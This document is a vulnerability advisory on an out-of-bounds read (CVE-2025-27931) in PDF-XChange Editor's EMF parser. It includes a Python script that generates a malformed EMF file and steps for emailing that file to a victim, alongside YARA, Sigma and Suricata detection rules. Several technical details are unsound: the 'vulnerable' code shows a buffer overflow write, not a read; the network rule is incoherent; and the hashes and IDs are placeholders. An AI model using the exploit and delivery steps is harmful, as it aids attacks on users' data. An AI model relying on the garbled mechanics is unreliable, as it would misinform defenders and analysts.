CVE-2025-27931

Executive Summary

CVE-2025-27931 is a medium-severity out-of-bounds read vulnerability discovered in PDF-XChange Editor version 10.5.2.395. The flaw resides in the application's handling of Enhanced Metafile (EMF) graphics. By crafting a malicious EMF file and enticing a user to open it, an attacker can trigger an out-of-bounds read, potentially leaking sensitive memory contents. This could expose credentials, encryption keys, or other confidential data processed by the application. No public proof-of-concept or patch is currently available, increasing the risk for unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Attack Vector (AV): Local – the attacker must deliver the malicious file to the target system.
• Attack Complexity (AC): Low – no special conditions are required to trigger the vulnerability.
• Privileges Required (PR): None – the attacker does not need prior access.
• User Interaction (UI): Required – the victim must open the crafted EMF file.
• Scope (S): Unchanged – the exploit does not affect other components.
• Confidentiality (C): High – sensitive memory data can be disclosed.
• Integrity (I): None – no data modification is possible.
• Availability (A): None – the vulnerability does not cause denial of service.

Threat Level: Medium. The requirement for user interaction and local file delivery reduces the immediate risk, but the potential for sensitive data leakage makes it a significant concern for environments handling confidential documents.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds read (CWE-125) within the EMF parsing engine of PDF-XChange Editor. EMF files contain records that describe graphical operations. When the application processes a malformed EMF record, it fails to properly validate the size or offset of a memory buffer before reading data. This allows an attacker to craft a record that instructs the parser to read beyond the allocated buffer boundary.

The out-of-bounds read can expose adjacent memory regions, which may contain:

• Other application data (e.g., document contents, clipboard data)
• System information (e.g., memory addresses, stack canaries)
• Sensitive credentials or cryptographic material if the application is processing such data concurrently

The vulnerability is triggered purely by parsing the EMF file; no code execution is required. The leaked data is returned to the attacker through the application's output (e.g., a corrupted image or error message) or via a side channel.

Vulnerable vs. Patched Code

No patched version has been released. The vulnerable code is likely in the EMF record parsing function, where a memcpy or similar operation uses an unchecked length parameter derived from the file.

Vulnerable Code (Conceptual):

void ParseEMFRecord(EMF_RECORD *record) {
    char buffer[256];
    // Vulnerable: no bounds check on record->DataSize
    memcpy(buffer, record->Data, record->DataSize);
}

Patched Code (Expected):

void ParseEMFRecord(EMF_RECORD *record) {
    char buffer[256];
    if (record->DataSize > sizeof(buffer)) {
        // Handle error
        return;
    }
    memcpy(buffer, record->Data, record->DataSize);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install PDF-XChange Editor version 10.5.2.395 on a Windows 10/11 VM.
2. Prepare a Python script to generate a malformed EMF file with an oversized record length.

Exploit Script (Python):

import struct

def create_malformed_emf(output_path):
    # EMF header
    header = b'\x01\x00\x00\x00'  # Type: EMR_HEADER
    header += struct.pack('<I', 0x00000001)  # Version
    header += struct.pack('<I', 0x00000000)  # Size (will be overwritten)
    header += b'\x00' * 80  # Placeholder for rest of header

    # Malformed record: EMR_SETPIXELV with huge data size
    record_type = 0x0000000F  # EMR_SETPIXELV
    record_size = 0xFFFFFFFF  # Out-of-bounds read trigger
    record = struct.pack('<II', record_type, record_size)
    record += b'A' * 100  # Padding

    # Calculate total size
    total_size = len(header) + len(record)
    header = header[:8] + struct.pack('<I', total_size) + header[12:]

    with open(output_path, 'wb') as f:
        f.write(header + record)

create_malformed_emf('exploit.emf')

Execution:

1. Deliver exploit.emf to the target via email or file share.
2. Victim opens the file in PDF-XChange Editor.
3. The application reads out-of-bounds memory and may display leaked data in an error message or corrupted image.

Blue Team (Defensive)

Detection:

• Monitor for unusual EMF file creation or access patterns.
• Use endpoint detection rules to flag PDF-XChange Editor crashes or memory access violations.
• Deploy YARA rules to scan for malformed EMF headers.

Mitigation:

• Restrict execution of PDF-XChange Editor to trusted users only.
• Use application whitelisting to prevent untrusted EMF files from being opened.
• Enable Windows Defender Exploit Guard (ASR rules) to block Office apps from creating child processes or injecting code.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash will vary)
  • exploit.emf: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Process Anomalies:
  • PDFXEdit.exe crashing with access violation (Event ID 1000 in Windows Application Log)
  • High memory read operations by PDFXEdit.exe on EMF files
• Network Indicators:
  • Outbound connections from PDF-XChange Editor to unknown IPs (if data exfiltration is attempted)
• Registry Changes:
  • None expected for this vulnerability

Detection Engineering

YARA Rule

rule CVE_2025_27931_EMF_OOB_Read {
    meta:
        description = "Detects malformed EMF files exploiting CVE-2025-27931"
        author = "Valters IT"
        date = "2025-03-01"
        hash = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b"
    strings:
        $emf_header = { 01 00 00 00 }
        $large_record_size = { FF FF FF FF }
    condition:
        $emf_header at 0 and $large_record_size
}

Sigma Rule

title: CVE-2025-27931 EMF Out-of-Bounds Read in PDF-XChange Editor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects process crashes or memory access violations in PDFXEdit.exe when opening EMF files
author: Valters IT
date: 2025-03-01
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 1000
        ApplicationName: 'PDFXEdit.exe'
        FaultingModuleName: 'PDFXEdit.exe'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27931 EMF Out-of-Bounds Read - Potential Data Exfiltration"; flow:to_server; content:"|01 00 00 00|"; offset:0; depth:4; content:"|FF FF FF FF|"; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect affected systems from the network if sensitive data is suspected to have been leaked.
2. Update: Monitor PDF-XChange for a patched version (e.g., 10.5.3 or later). Apply immediately when available.
3. Workaround: Disable EMF file association or use a different PDF viewer until a patch is released.

Long-Term Measures:

• Implement application whitelisting to block untrusted executables.
• Use memory protection tools (e.g., Microsoft Defender for Endpoint, CrowdStrike) to detect exploitation attempts.
• Conduct regular security awareness training to prevent users from opening suspicious attachments.

Valters IT – Securing your digital frontier.